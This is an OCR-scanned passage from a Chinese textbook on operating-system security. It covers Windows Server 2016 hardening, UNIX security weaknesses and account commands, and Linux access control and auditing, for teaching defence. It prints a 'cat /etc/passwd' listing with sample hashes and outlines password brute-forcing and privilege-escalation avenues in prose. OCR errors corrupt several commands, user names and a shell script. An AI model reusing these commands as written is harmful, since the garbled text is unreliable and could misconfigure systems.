列 出 的 用 户 组 只 保留 *Internet 来 宾 账 户 ” 和 "启动 IIS 进程 账户 ”。 如 果 使 用 ASP. NET 
需要 保留 “ASPNET 账户 ”。 

(7) 创建 一 个 User 账户 ,运行 系统 ,如 果 要 运行 特权 命令 使 用 Runas 命令 ,该 命令 
允许 用 户 以 其 他 权限 运行 指定 的 工具 和 程序 ,而 不 是 当前 登录 用 户 所 拥有 的 权限 。 


2. 禁用 所 有 网 络 资源 共享 


(1) 单 击 “ 开 始 ” 一 “设置 ”>“ 控 制 面板 ”>“ 管 理工 具 ” 一 “计算 机 管理 ”>“ 共 享 文件 
夹 ”, 然 后 把 里 面 的 所 有 默认 共享 都 停止 。 但 是 IPC 共享 服务 器 每 启动 一 次 都 会 打开 , 需 
要 重新 停止 。 

(2) 限制 IPC $ 默认 共享 可 以 修改 注册 表 中 的 HKEY_LOCAL_MACHINE ÁN 
SYSTEM\CurrentControlSet\Services\lanmanserver\parameters, 在 右 侧 子 窗口 中 新 建 
名 称 为 restrictanonymous ,类 型 为 REG_DWORD 的 键 , 值 设 为 1。 


3. 关闭 不 需要 的 服务 


在 桌面 上 选中 “计算 机 ”或 “我 的 电脑 "并 右 击 ,在 快捷 菜单 中 选择 “管理 "命令 ,在 " 计 
算 机 管理 "窗口 中 的 左 侧 选 择 “ 服 务 和 应 用 程序 ”>“ 服 务 ”, 在 右 侧 窗口 中 将 出 现 所 有 服 
务 。 建 议 按照 如 下 规则 设置 : 

。 Computer Browser( 维 护 网 络 计算 机 更 新 ): 禁用 。 

。 Error Reporting Service( 发 送 错误 报告 ) : 禁用 。 

。 Remote Registry( 远 程 修改 注册 表 ) : 禁用 。 

。 Remote Desktop Help Session Manager( 远 程 协助 ) : 禁用 。 

。 Distributed File System( 局 域 网 管理 共享 文件 ) : 不 需要 禁用 。 

。 Distributed Link Tracking Client( 用 于 局 域 网 更 新 连接 信息 ): 不 需要 禁用 。 

。 NT LM Security Support Provider( 用 于 Telnet 和 Microsoft Search); 不 需要 

禁用 。 

。 Microsoft Search( 提 供 快速 的 单词 搜索 ): 根据 需要 设置 。 

。 Print Spooler( 管 理 打印 队列 和 打印 工作 ): 无 打印 机 可 禁用 。 


4. 打开 相应 的 审核 策略 


在 “开始 ”菜单 中 选择 “运行 ”, 输 入 gpedit. msc 并 回 车 。 在 打开 的 “组 策略 编辑 器 ” 窗 
口中 ,按照 树 形 结构 依次 选择 “计算 机 配置 ">“Windows 设置 ”>“ 安 全 设置 ”一 “审核 策 
略 ”。 建 议 审核 项 目的 相关 设置 如 下 : 

° 审核 策略 更 改 : 成 功 和 失败 。 

”审核 登录 事件 : 成 功 和 失败 。 
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° 审核 对 象 访问 : 失败 。 

。 审核 目录 服务 访问 : 失败 。 

。 审核 特权 使 用 : 失败 。 

。 审核 系统 事件 : 成 功 和 失败 。 

。 审核 账户 登录 事件 : 成 功 和 失败 。 

和 注意 : 在 创建 审核 项 目 时 ,如 果 设 置 的 审核 项 目 太 多 ,生成 的 事件 也 就 非常 多 ,在 
实际 运行 中 要 想 发 现 严重 的 事件 也 越 困难 。 当 然 ,如 果 审 核 的 项 目 太 少 也 可 能 会 漏 掉 严 
重 的 事件 。 用 户 需要 根据 情况 在 审核 项 目 数 量 上 做 出 选择 。 


5. 安全 管理 网 络 服务 


1) 禁用 远程 自动 播放 功能 

Windows 操作 系统 的 自动 播放 功能 不 仅 对 光驱 起 作用 ,而 且 对 其 他 驱动 器 也 起 作 
用 ,这 样 的 功能 很 容易 被 攻击 者 利用 来 执行 远程 攻击 程序 。 关 闭 该 功能 的 具体 步骤 : 在 
“运行 ”窗口 中 输入 gpedit. msc 并 回 车 ,在 打开 的 “组 策略 编辑 器 ”窗口 中 依次 展开 “计算 
机 配置 ”>“ 管 理 模 板 ”>“ 系 统 ”, 在 右 侧 子 窗口 中 找到 “关闭 自动 播放 ”选项 并 双击 ,在 打 
开 的 对 话 框 中 选择 “已 启用 ”, 然 后 在 “关闭 自动 播放 ”的 下 拉 菜 单 中 选择 “所 有 驱动 器 ”， 
单 击 “ 确 定 ” 按 钮 即 可 生效 。 

2) 禁用 部 分 资源 共享 

在 局 域 网 中 ,Windows 系统 提供 了 文件 和 打印 共享 功能 ,但 用 户 在 享受 到 该 功能 带 
来 的 便利 的 同时 ,也 会 向 黑客 暴露 不 少 漏洞 ,从 而 给 系统 造成 很 大 的 安全 风险 。 用 户 可 
以 在 网 络 连接 的 “属性 ”中 禁止 “网 络 文件 和 打印 机 共享 ”。 


6. 清除 页 面 交换 文件 


Windows Server 2016 即使 在 正常 工作 情况 下 ,也 有 可 能 会 向 攻击 者 或 者 其 他 访问 
者 泄漏 重要 秘密 信息 ,特别 是 一 些 重要 账户 信息 。 实 际 上 Windows Server 2016 中 的 页 
面 交 换文 件 隐藏 有 不 少 重要 隐私 信息 ,并 且 这 些 信息 全 部 是 动态 产生 的 ,如 果 不 及 时 清 
除 ,很 可 能 成 为 攻击 者 入 侵 的 突破 口 。 为 此 ,用 户 必 须 在 Windows Server 2016 关闭 时 自 
动 将 系统 工作 时 产生 的 页 面 文件 全 部 删除 ,按照 如 下 方法 可 以 实现 。 

在 “开始 ”菜单 中 选择 “运行 ”, 打 开 “ 运 行 " 对 话 框 ,输入 regedit 命令 打开 “注册 表 编 
辑 器 ”窗口 ,按照 树 形 结构 依次 展开 HKEY _local_machine\system\currentcontrolset\ 
control \ sessionmanager \ memory management 分 支 , 在 右 侧 子 窗口 中 , 双击 
ClearPageFileAtShutdown 键 值 ,在 弹出 的 参数 设置 窗口 中 ,将 其 数值 设置 为 1。 完 成 设 
置 后 ,退出 “注册 表 编 辑 器 ”窗口 ,并 重新 启动 计算 机 系统 使 设置 生效 。 


7. 文件 和 文件 夹 加 密 


在 NTFS 文 件 系统 格式 下 ,打开 “Windows 资源 管理 器 ”, 在 任何 需要 加 密 的 文件 和 
文件 夹 上 右 击 ,在 快捷 菜单 中 选择 “属性 ”命令 ,在 “属性 ”窗口 中 单 击 “ 常 规 ” 选 项 卡 中 的 
“高 级 "按钮 ,选中 “加 密 内 容 以 便 保 护 数据 " 复 选 框 ,再 单 击 “ 确 定 ” 按 钮 即 可 。 
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me B 

(1) 分 析 系 统 应 用 中 哪些 服务 是 需要 的 ,哪些 服务 是 可 以 关闭 的 ? 
(2) 分 别 说 明 系 统 身份 验证 各 方法 的 应 用 。 

(3) NTFS 文 件 系 统 格 式 和 其 他 文件 系统 格式 有 什么 区 别 ? 


102 UNIX 操 作 系 统 的 安全 


UNIX 是 一 个 强大 的 多 用 户 .多 任务 操作 系统 ,支持 多 种 处 理 器 架构 。UNIX 是 贝尔 
实验 室 于 20 世纪 60 年 代 末 用 C 语言 研制 开发 的 ,经 过 几 十 年 的 发 展 ,已 经 成 为 流行 于 
从 大 型 机 、 小 型 机 到 工作 站 甚至 微机 等 多 种 平台 的 操作 系统 。 由 于 UNIX 具有 技术 成 
熟 . 可 靠 性 高 、 网 络 功能 强 .伸缩 性 突出 和 开放 性 好 等 特色 ,可 满足 各 行 各 业 的 实际 需要 ， 
特别 能 满足 企业 重要 业务 的 需要 ,已 经 成 为 主要 的 工作 站 平台 和 重要 的 企业 操作 平台 。 


1021 UNX 系 统 的 安全 性 


UNIX 操作 系统 的 安全 性 是 众所周知 的 ,从 理论 上 讲 ,UNIX 本 身 的 设计 并 没有 什么 
重大 的 安全 缺陷 。 多 年 来 , 绝 大 多 数 在 UNIX 操作 系统 上 发 现 的 安全 问题 主要 存在 于 个 
别 程序 中 ,并 且 大 部 分 UNIX 厂商 都 声称 有 能 力 解决 这 些 问 题 , 提 供 安全 的 UNIX 操作 
系统 。 但 是 ,一 种 操作 系统 流行 的 时 间 越 久 , 人 们 对 它 的 认识 也 就 越 深 入 ,安全 性 也 就 越 
差 。 所 以 ,必须 时 刻 警 惕 UNIX 系统 的 安全 缺陷 , 防 患 于 未 然 。 下 面 从 UNIX 的 安全 基 
础 入 手 , 分 析 其 存在 的 不 安全 因素 ,最 后 提出 一 些 安全 措施 。 


1. UNIX 安全 基础 


UNIX 系统 不 仅 因 其 精炼 高效 的 内 核 和 丰富 的 核 外 程序 而 著称 ,而 且 在 防止 非 授 
权 访问 和 防止 信息 泄密 方面 也 很 成 功 。UNIX 系统 设置 了 3 道 安全 屏障 用 于 防止 非 授 权 
访问 。 首 先 ,必须 通过 口令 认证 ,确认 用 户 身份 合法 后 才能 允许 访问 系统 ;对 系统 内 任何 
资源 的 访问 还 必须 越过 第 二 道 屏障 , 即 必须 获得 相应 的 访问 权限 ;对 系统 中 的 重要 信息 ， 
UNIX 系统 提供 了 第 三 道 屏障 : 文件 加 密 。 

1) 标识 和 口令 

UNIX 系统 通过 注册 用 户 和 口令 对 用 户 身 份 进行 认证 。 因 此 ,设置 安全 的 账户 并 确 
定 其 安全 性 是 系统 管理 的 一 项 重要 工作 。 在 UNIX 操作 系统 中 ,与 标识 和 口令 有 关 的 信 
息 存 储 在 /etc/passwd 文件 中 。 每 个 用 户 的 信息 占 一 行 ,并 且 系 统 正常 工作 必需 的 标准 
系统 标识 等 同 于 用 户 。 文 件 中 每 行 的 一 般 格 式 为 

LOGSNAME: PASSWORD:UID:GID:USERINEO:HOME: SHELL 

每 行 包含 若干 项 ,各 项 之 间 用 冒号 (:) 分 割 。 第 一 项 是 用 户 名 ,第 二 项 是 加 密 后 的 口 
令 ,第 三 项 是 用 户 标识 ,第 四 项 是 用 户 组 标识 ,第 五 项 是 系统 管理 员 设 置 的 用 户 扩展 信 


息 , 第 六 项 是 用 户 工作 主 目录 ,最 后 一 项 是 用 户 登录 后 将 执行 的 shell 全 路 径 ( 若 为 空格 
则 默认 为 /bin/sh)。 
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其 中 ,系统 使 用 第 三 项 的 用 户 标识 UID 而 不 是 第 一 项 的 用 户 名 来 区 别 用 户 。 第 二 项 
的 口令 采用 DES 算法 进行 加 密 处 理 , 非 法 用 户 即 使 获得 /etc/passwd 文件 ,也 无 法 从 密 
文 得 到 用 户口 令 。 

一 个 口令 文件 的 内 容 用 cat 命令 查看 ,具体 命令 执行 格式 及 口令 文件 内 容 如 下 : 

% cat /etc/passwd 

root: xyDfccTrt180x: 0: 1: '[]' : /: /bin/sh 

daemon: * :1: 1:: /: 

sys: * : 2: 2:: /: /bin/sh 

bin: * : 4: 8:: /var/spool/binpublic: 

news: * : 6:6:: /var/spool/news: /bin/sh 

Pat: xzmot'TVoyumj1s: 349: 349: patrolman: /usr/pat: /bin/sh 

*+ r 05 Qass 

2) 文件 权限 

文件 系统 是 整个 UNIX 系统 的 “物质 基础 >。UNIX 以 文件 形式 管理 计算 机 上 的 存 
储 资源 ,并 且 以 文件 形式 组 织 各 种 硬件 存储 设备 ,如 硬盘 .CD-ROM、U 盘 等 。 这 些 硬 件 
设备 存放 在 /dev 以 及 /dev/disk 目录 下 ,是 设备 的 特殊 文件 。 文 件 系 统 中 对 硬件 存储 设 
备 的 操作 只 涉及 "逻辑 设备 (物理 设备 的 一 种 抽象 ,基础 是 物理 设备 上 的 一 个 个 存储 
区 ) ,而 与 物理 设备 “无 关 ”, 可 以 说 ,一 个 文件 系统 就 是 一 个 逻辑 上 的 设备 。 所 以 文件 的 
安全 是 操作 系统 安全 最 重要 的 部 分 。 

UNIX 系统 对 每 个 文件 属性 设置 一 系列 控制 信息 ,以 此 决定 用 户 对 文件 的 访问 权 
限 , 即 谁 能 存 取 或 执行 该 文件 。 系 统 中 可 通过 UNIX 命令 Is -1 列 出 详细 文件 及 控制 

3) 文件 加 密 

文件 权限 的 正确 设置 在 一 定 程 度 上 可 以 限制 非法 用 户 的 访问 ,但 是 ,对 于 一 些 高 明 
的 和 人 侵 者 和 超级 用 户 仍 然 不 能 完全 限制 读 取 文件 。UNIX 系统 提供 文件 加 密 的 方式 来 
增强 文件 保护 ,常用 的 加 密 算 法 有 crypt( 最 早 的 加 密 工具 )、DES( 目 前 最 常用 的 ) .IDEA 
(国际 数据 加 密 算法 )、RC4、Blowfish( 简 单 高 效 的 DES) .RSA。 

crypt 命令 给 用 户 提供 对 文件 加 密 的 工具 。 使 用 一 个 关键 词 将 标准 输入 的 信息 编码 
为 不 可 读 的 杂乱 字符 串 , 送 到 标准 输出 设备 。 再 次 使 用 此 命令 ,用 同一 关键 词 作用 于 加 
密 后 的 文件 ,可 恢复 文件 内 容 。 此 外 ,UNIX 系统 中 的 一 些 应 用 程序 也 提供 文件 加 /解密 
功能 ,如 ed.vi 和 emacs。 这 类 编辑 器 提供 -x 选项 ,具有 生成 并 加 密 文件 的 能 力 ,在 文件 
加 载 时 对 文件 解密 , 回 写 时 重新 进行 加 密 。 

但 是 ,由 于 人 们 对 UNIX 所 使 用 的 加 密 算法 作 过 深入 研究 ,可 以 通过 分 析 普 通 英语 
文本 和 加 密 文 件 中 字符 出 现 的 频率 来 破解 加 密 , 并 且 ,crypt 程序 经 常 被 做 成 特洛伊 木 
马 , 所 以 现 有 的 加 密 机 制 不 能 再 直接 用 于 文件 加 密 , 同 时 不 能 用 口令 作为 关键 词 。 最 好 
在 加 密 前 用 pack 或 compress 命令 对 文件 进行 压缩 后 再 加 密 。 

一 般 ,在 文件 加 密 后 ,应 删除 原始 文件 ,以 兔 原始 文件 被 攻击 者 获取 ,并 妥善 保管 存 
储 在 存储 介质 上 的 加 密 后 的 版 本 , 且 不 能 忘记 加 密 关 键 词 。 


= 


Ü: 


Ia 操作 系统 及 站 点 安全 285 


2. 不 安全 因素 


尽管 UNIX 系统 有 比较 完整 的 安全 体系 结构 ,但 仍然 存在 很 多 不 安全 的 因素 ,主要 
表现 在 以 下 几 个 方面 。 

1) 口令 问题 

由 于 UNIX 允许 用 户 不 设置 口令 ,因而 非法 用 户 可 以 通过 查看 /etc/passwd 文件 获 
得 未 设置 口令 的 用 户 ( 或 虽然 设置 口令 ,但 是 泄露 了 口令 的 用 户 ), 并 以 合法 用 户 名 进入 
系统 , 读 取 或 破坏 文件 。 此 外 ,攻击 者 通常 使 用 口令 猜测 程序 获取 口令 。 攻 击 者 通过 暴 
力 破解 的 方式 不 断 试验 可 能 的 口令 ,并 将 加 密 后 的 口令 与 /etc/passwd 文件 中 的 口令 密 
文 进行 比较 。 由 于 用 户 在 选择 口令 方面 的 局 限 性 ,通常 暴力 破解 是 获取 口令 的 最 有 效 
3k 

2) 文件 权限 

某 些 文件 权限 (尤其 是 写 权 限 ) 的 设置 不 当 将 增加 文件 的 不 安全 因素 。 

UNIX 系统 有 一 个 /dev/kmem 设备 文件 ,是 一 个 字符 设备 文件 ,存储 核心 程序 要 访 
问 的 数据 ,包括 用 户口 令 。 所 以 ,该 文件 不 允许 普通 用 户 读 写 , 权 限 设 为 


cr-- r----- 1 root system 2,1 May 25 1998 kmem 


但 ps 等 程序 却 需 要 读 该 文件 ,而 ps 的 权限 设置 如 下 : 


— r— xr- sr- x 1 bin system 59346 Apr 05 1998 ps 


通过 文件 控制 信息 可 以 知道 ,文件 设置 了 SGID。 并 且 , 任 何 用 户 都 可 以 执行 ps X 
件 , 同 时 bin 和 root 同属 system 组 。 所 以 ,一般 用 户 执行 ps, 就 会 获得 system 组 用 户 的 
权限 ,而 文件 kmem 的 同 组 用 户 的 权限 是 可 读 , 所 以 一 般 用 户 执 行 ps 时 可 以 读 取 设 备 文 
件 kmem 的 内 容 。 由 于 ps 的 用 户 是 bin, 不 是 root, 所 以 不 能 通过 设置 SUID 来 访问 
kmem 。 

3) 设备 特殊 文件 

UNIX 系统 的 两 类 设备 ( 块 设备 和 字符 设备 ) 被 看 作文 件 , 存 放 在 /dev 目录 下 。 对 这 
些 特别 文件 的 访问 实际 上 是 在 访问 物理 设备 ,这 些 特别 文件 是 系统 安全 一 个 重要 方面 。 

(1) 内 存 。 对 物理 内 存 和 系统 虚空 间 ,System V 提供 了 相应 的 文件 /dev/mem 和 / 
dev/kmem。 其 中 ,mem 是 内 存 映像 的 一 个 特别 文件 ,可 通过 该 文件 检验 (甚至 修补 ) 系 
统 。 若 用 户 可 改写 该 文件 , 则 用 户 也 可 在 其 中 植 和 人 木马 或 通过 读 取 和 改写 主 存 内 容 而 窃 
取 系统 特权 。 

(2) 块 设备 。UNIX System V 对 块 设备 的 管理 分 为 3 层 , 其 中 ,最 高 层 是 与 文件 系 
统 的 接口 ,包括 块 设备 的 各 种 读 写 操作 。 例 如 磁盘 ,如 果 对 磁盘 有 写 权限 ,用 户 就 可 以 修 
改 其 上 的 文件 。UNIX 允许 安装 不 同 的 存储 设备 作为 文件 系统 ,非法 用 户 可 以 安装 特殊 
处 理 的 软盘 作为 文件 系统 ,而 软盘 上 有 经 过 修改 的 系统 文件 ,如 一 些 属于 root 的 setuid 
程序 。 这 样 的 操作 使 得 用 户 可 以 执行 非法 setuid 程序 ,获取 更 高 的 特权 。 

(3) 终端 设备 。 在 UNIX 中 ,终端 设备 也 称 字 符 设 备 。 每 个 用 户 都 通过 终端 进入 系 
统 , 用 户 对 其 操作 的 终端 有 读 写 权限 。 一 般 来 说 ,UNIX 只 在 打开 操作 (open 系统 调用 ) 
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时 对 文件 的 权限 进行 检查 ,后续 操 作 将 不 再 检查 权限 ,因此 ,非法 用 户 进 入 系统 后 可 以 编 
写 程序 , 读 取 其 他 后 续 用 户 录入 该 终端 的 所 有 信息 ,包括 敏感 和 秘密 信息 。 

4) 网 络 系统 

UUCP(UNIX to UNIX Copy) 是 唯一 在 各 种 UNIX 版 本 中 都 可 用 的 标准 网 络 系统 ， 
并 且 是 最 便宜 .广泛 使 用 的 网 络 实 用 系统 。UUCP 可 以 在 UNIX 系统 之 间 完 成 文件 传 
输 ,执行 系统 之 间 的 命令 ,维护 系统 使 用 情况 的 统计 ,保护 安全 。 但 是 ,由 于 历史 原因 ， 
UUCP 也 是 UNIX 系统 中 最 不 安全 的 部 分 。 

UUCP 系统 未 设置 限制 ,允许 任何 UUCP 系统 外 的 用 户 执 行 任何 命令 和 复制 进 / 出 
UUCP 用 户 可 读 / 写 的 任何 文件 。 这样 ,用 户 可 以 复制 远程 计算 机 上 的 /etc/passwd X: 
件 。 同 时 ,在 UUCP 机 制 中 ,未 加 密 的 远程 UUCP 账户 /口令 存储 在 一 个 普通 系统 文件 / 
usr/lib/uucp/l. sys 中 ,非法 用 户 在 窃取 root 权限 后 通过 读 取 该 文件 即 可 获得 UUCP 账 
号 /口令 。 此 外 ,UNIX 系统 中 ,一 些 大 型 系统 软件 通常 由 多 人 共同 协作 完成 开发 ,因此 
无 法 准确 预测 系统 内 每 个 部 分 之 间 的 相互 衔接 。 例 如 /bin/login 可 接收 其 他 一 些 程序 的 
非法 参数 ,从 而 可 使 普通 用 户 成 为 超级 用 户 。 另 一 方面 ,由 于 系统 软件 配置 的 复杂 性 , 即 
使 是 简单 的 配置 错误 也 可 能 导致 不 易 觉察 的 安全 问题 。 


1022 UNX 系 统 安全 配置 


1. 增加 新 用 户 
要 在 UNIX 系统 中 增加 新 用 户 ,可 采用 useradd 命令 ,常用 命令 格式 如 下 : 


/etc/useradd [- c comment] [- d directory]] [- g group] [-m] [- s she11] username 


其 中 : 
-c comment 表示 注释 。 
-d directory 表示 家 目录 。 


-g group 表示 用 户 属于 哪个 用 户 组 。 
-m 表示 若 家 目录 不 存在 , 则 自动 创建 。 
-s shell 表示 该 用 户 使 用 的 shell。 


username 用 户 名 。 

要 创建 一 个 名 为 devos 的 用 户 ,其 他 选项 默认 ,命令 如 下 : 

useradd - m devos 

# directory 不 出 现 , 则 自动 创建 默认 的 目录 ,如 /usr/ devos, 默 认 shell 为 B Shell, 
要 创建 名 为 ncp 的 用 户 ,shell 为 ksh, 其 他 默认 ,命令 如 下 : 

useradd -m - s /bin/ksh nqp 

要 创建 一 个 名 为 test02 的 用 户 , 属 于 omc 用 户 组 ,家 目录 为 /test/test02 (自动 创 


,命令 如 下 : 


建 


useradd - c"Test User" —m - d /test/test02 ~ g amc - s /bin/ksh test02 
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其 中 Test User 表示 注释 。 
对 用 户 devos 建立 密码 的 命令 为 


passwd devos 


2. 删除 用 户 
删除 用 户 的 命令 常用 格式 如 下 : 


/etc/userdel username 


有 的 UNIX 系统 可 能 不 允许 彻底 删除 一 个 用 户 ,userdel 只 能 回收 该 用 户 的 使 用 权 (retire) 。 
3. 增加 新 用 户 组 
要 在 UNIX 系统 中 增加 新 用 户 组 omc ,命令 如 下 : 


/etc/groupadd cmc 


4. 删除 用 户 组 
要 将 在 UNIX 系统 中 的 用 户 组 gp11 删除 ,命令 如 下 : 


/etc/groupdel gpll 


5. 用 户口 令 管理 


超级 用 户口 令 必须 加 密 , 而 且 要 经 常 更 换 口 令 , 如 发 现 口令 泄密 需要 及 时 更 换 。 其 
他 用 户 账户 也 要 求 口令 加 密 , 也 要 做 到 及 时 更 换 。 用 户 登 录 账 户 及 口令 的 管理 信息 默认 
放 在 /etc/default/passwd 和 /etc/default/login 文件 中 ,系统 通过 这 两 个 文件 进行 账户 及 
口令 的 管理 。 在 这 两 个 文件 中 ,系统 管理 员 可 以 设 定 口 令 的 最 大 长 度 、 最 小 长 度 、 最 长 生 
存 周 数 、 最 小 生存 周 数 、 人 允许 用 户 连 续 登 录 失败 的 次 数 、 要 求 口令 注册 情况 (是 否 要 口令 
注册 ) 等 。 系 统管 理 员 可 以 对 这 些 参 数 进行 合理 配置 ,以 此 完善 或 增强 系统 管理 。 


6. 建立 封闭 的 用 户 系统 


自 启动 终端 的 方法 固然 安全 ,但 不 利于 系统 资源 的 充分 利用 ,如 果 用 户 想 在 终端 上 
运行 其 他 应 用 程序 , 则 该 方式 无 法 完成 。 但 是 ,可 以 建立 不 同 的 封闭 用 户 系统 , 即 建立 不 
同 的 封闭 用 户 账户 ,自动 运行 不 同 的 应 用 系统 。 当 然 , 封 闭 用 户 系 统 的 用 户 无 法 用 命令 
快捷 键 为 (Ctrl-C 或 Ctrl-Backspace) 进 入 系统 的 shell 状态 。 
建立 封闭 账户 的 方法 是 : 修改 相应 账户 的 . profile 文件 。 在 . profile 文件 中 运行 相应 
的 应 用 程序 ,在 . profile 文件 的 前 面 再 加 上 中 断 屏 项 命令 ,命令 格式 为 trap"”1 2 3 15, 在 . 
profile 文件 末尾 再 加 上 一 条 exit 命令 。 这 样 ,系统 运行 结束 退回 login 状态 。 使 用 trap 
命令 的 目的 就 是 防止 用 户 在 使 用 过 程 中 按 快捷 键 Ctrl-C 或 Ctrl-Backspace 中 止 系统 程 
序 , 退 回 shell 状态 。 为 避免 用 户 修改 自己 的 . pallle 文件 ,还 需 修改 . profile 的 文件 权 
限 , 权 限 为 640, 用 户 属性 为 root, 用 户 组 为 root。 通 过 上 述 操 作 便 可 以 建立 封闭 账户 。 
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7. 限制 注册 终端 功能 


UNIX 是 多 用 户 系统 ,可 设 有 多 个 终端 ,终端 可 放 在 不 同 的 地 理 位 置 .不 同 的 部 门 。 
为 防止 其 他 部 门 非法 使 用 应 用 程序 .可 限定 某 些 应 用 程序 在 限定 的 终端 使 用 。 

具体 的 方法 是 ,在 相应 账户 的 . profile 文件 中 增加 识别 终端 的 语句 。 如 : 

trap"1 2 3 15" 

case tty in / dew tty21[a- d] # 如 终端 非 / dev/tty21[a- d] 则 无 法 执行 

clear 

echo"dE1 2 Y t!" 

exit 

banking- em- b4461 # 执 行 应 用 程序 


exit 


8. 锁定 暂 不 用 的 终端 


有 些 终 端 暂 不 使 用 ,可 用 命令 进行 锁定 ,避免 其 他 人 使 用 此 终端 。 

锁定 方法 是 : 

# sysadmsh — Accounts 一 Terminal — Lock, 输 入 要 锁定 的 终端 号 。 
如 果 需 要 解锁 ,方法 是 ， 

# sysadmsh 一 Accounts — Terminal — Unlock ,输入 要 解锁 的 终端 号 。 
He RE 

(1) UNIX 的 3 道 安全 屏障 是 什么 ? 

(2) 简 述 UNIX 的 不 安全 因素 有 哪些 ,并 进行 分 析 。 
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1031 Limx 系统 的 安全 性 


Linux 提供 的 安全 机 制 主要 有 身份 标识 与 鉴别 .文件 访问 控制 .特权 管理 ,安全 审计 、 
IPC 资源 的 访问 等 。 下 面 对 身份 标识 与 鉴别 ,文件 访问 控制 ,特权 管理 、 安 全 审计 进行 介绍 。 


1. 身份 标识 和 鉴别 


Linux 系统 的 身份 标识 与 鉴别 机 制 是 基于 用 户 名 与 口令 来 实现 的 。 首 先 允 许 系统 管 
理 员 通过 useradd 为 用 户 指 定 唯 一 的 用 户 名 与 初始 口令 ,将 相应 的 用 户 名 与 口令 保存 在 / 
etc/passwd 文件 中 。 为 了 保证 口令 的 安全 性 ,口令 以 加 密 的 方式 保存 。 

允许 用 户 改变 自己 的 口令 ,而 超级 用 户 可 以 改变 任何 用 户 的 口令 。 

当 用 户 登 录 系 统 时 ,由 getty 要 求 用 户 输入 用 户 名 ,然后 激活 login, 由 login 要 求 用 
户 输入 口令 ,然后 根据 系统 中 的 /etc/passwd 文件 检查 用 户 提供 的 用 户 名 和 口令 是 否 为 
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合法 ,如 果 是 合法 的 , 则 为 该 用 户 启动 一 个 shell。 

出 于 安全 考虑 ,允许 用 户 和 超级 用 户 为 口令 设置 口令 时 限 。 

为 了 防止 木马 攻击 ,Linux 提供 了 “安全 注意 键 ”, 以 便 用 户 确 信 自己 的 用 户 名 和 口令 
不 被 别人 盗 走 。 


2. 文件 访问 控制 


Linux 对 文件 (包括 设备 ) 的 访问 控制 是 通过 简单 自助 访问 控制 来 实现 的 。 

系统 内 每 个 用 户 都 有 自己 唯一 的 用 户 号 (uid) ,并 且 总 是 属于 某 一 个 用 户 组 ,而 每 一 
个 用 户 组 有 唯一 的 组 号 (gid), 这 些 信息 在 超级 用 户 通过 useradd 创建 用 户 和 通过 
groupadd 创建 用 户 组 时 由 系统 设 定 ,并 保存 在 系统 的 /etc/passwd 文件 中 。 

每 当 用 户 通 过 登录 进入 系统 并 启动 一 个 shell 进程 时 ,就 从 /etc/passwd 文件 中 根据 
用 户 名 查 其 uid 和 gid, 并 将 其 设置 到 该 shell 进程 的 task_struct 结构 中 。unid 和 gid 具 
有 遗传 性 , 即 shell 的 所 有 子孙 进程 都 会 继承 该 uid 和 gid, 但 setuid 程序 除外 。 

系统 对 每 一 文件 访问 主题 区 分 为 文件 的 属 主 (u) ,文件 的 属 组 (g) 以 及 其 他 用 户 (0)， 
而 对 每 一 文件 的 访问 模式 区 分 为 读 (r) 、 写 (w) 和 执行 (x), 即 对 于 系统 中 的 每 一 个 文件 ， 
允许 文件 的 所 有 者 为 该 文件 指定 文件 的 属 主 、 文 件 的 属 组 ,并 允许 文件 的 所 有 者 通过 访 
问 控制 矩阵 为 其 设 定 访问 控制 信息 。 

系统 通过 每 个 文件 的 索引 结 点 数据 结构 inode 中 的 i_uid 域 和 i_gid 域 分 别 保存 文件 
属 主 的 uid 及 文件 组 的 gid 这 两 个 访问 控制 信息 。 

系统 用 9 个 二 进 制 位 标识 各 类 用 户 的 访问 模式 。 其 中 ,高 3 位 分 别 标识 文件 主 的 r、 
wx 访问 模式 ,而 0/1 分 别 表示 对 应 位 访问 模式 的 不 允许 /允许 ;中 间 3 位 和 后 3 位 分 别 
标识 文件 属 组 和 其 他 用 户 的 访问 模式 。 另 外 ,系统 还 通过 每 个 文件 的 索引 结 点 数据 结构 
inode 中 的 i_mode 域 的 低 9 位 来 保存 自己 的 这 些 访问 控制 信息 。 

用 户 访 问 文件 时 ,该 机 制 根 据 进 程 所 代表 的 用 户 、 用 户 所 在 的 组 和 文件 索引 结 点 数 
据 结 构 inode 中 保存 的 访问 控制 信息 检查 访问 的 合法 性 。 


3. 特权 管理 


Linux 继承 了 传统 UNIX 的 特权 管理 机 制 , 即 基 于 超级 用 户 的 特权 管理 机 制 。 

(1) 普通 用 户 没有 任何 特权 ,而 超级 用 户 拥有 系统 内 的 所 有 特权 。 

(2) 当 进 程 要 进行 某 个 特权 操作 时 ,系统 检查 进程 所 代表 的 用 户 是 否 为 超级 用 户 , 即 
检查 进程 uid 是 否 为 0。 

(3) 当 普通 用 户 的 某 些 操作 涉及 特权 操作 时 ,通过 setuid 程序 来 实现 。 

特权 管理 方式 便于 系统 维护 和 配置 ,但 是 不 利于 系统 的 安全 性 ,一 旦 非法 用 户 获 得 
了 超级 用 户 账户 ,就 获得 了 整个 系统 的 控制 权 , 这 样 ,系统 将 毫 无 安全 性 可 言 。 为 此 ,从 
2. 1 版 开始 ,Linux 内 核 开 发 人 员 通 过 在 内 核 中 引入 了 能 力 概念 ,实现 了 基于 能 力 的 特权 
管理 机 制 。 使 用 能 力 分 割 系统 内 所 有 特权 的 管理 方式 ,使 同一 类 敏感 操作 具有 相同 的 能 
力 , 普 通用 户 及 其 shell 没有 任何 能 力 ,而 超级 用 户 及 其 shell 在 系统 启动 之 初 拥有 全 部 
的 能 力 , 在 系统 启动 后 ,系统 管理 员 为 了 系统 安全 可 剥夺 超级 用 户 的 某 些 能 力 , 且 该 剥夺 
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过 程 不 可 首 , 除 非 重新 启动 系统 。 进 程 可 放弃 自己 的 某 些 能 力 , 放 弃 过 程 也 不 可 北 。 
4. 安全 审计 


Linux 系统 的 审计 机 制 是 将 审计 事件 分 为 系统 事件 和 内 核 事 件 两 部 分 进行 维护 和 管 
理 。 系 统 事件 由 审计 服务 进程 syslogd 来 维护 和 管理 ,而 内 核 事 件 由 内 核 审计 线程 klogd 
来 维护 和 管理 。syslogd 审计 服务 进程 可 以 实现 灵活 配置 、 集 中式 管理 。 当 需要 对 事件 
做 记录 的 单个 软件 发 送信 息 给 syslogd 时 , 它 根据 配置 文件 /etc/syslog. conf, 按 照 消息 的 
来 源 和 重要 程度 情况 ,将 消息 记录 到 不 同 的 文件 .设备 或 其 他 主机 中 。 


1032 Linx 系 统 安全 配置 


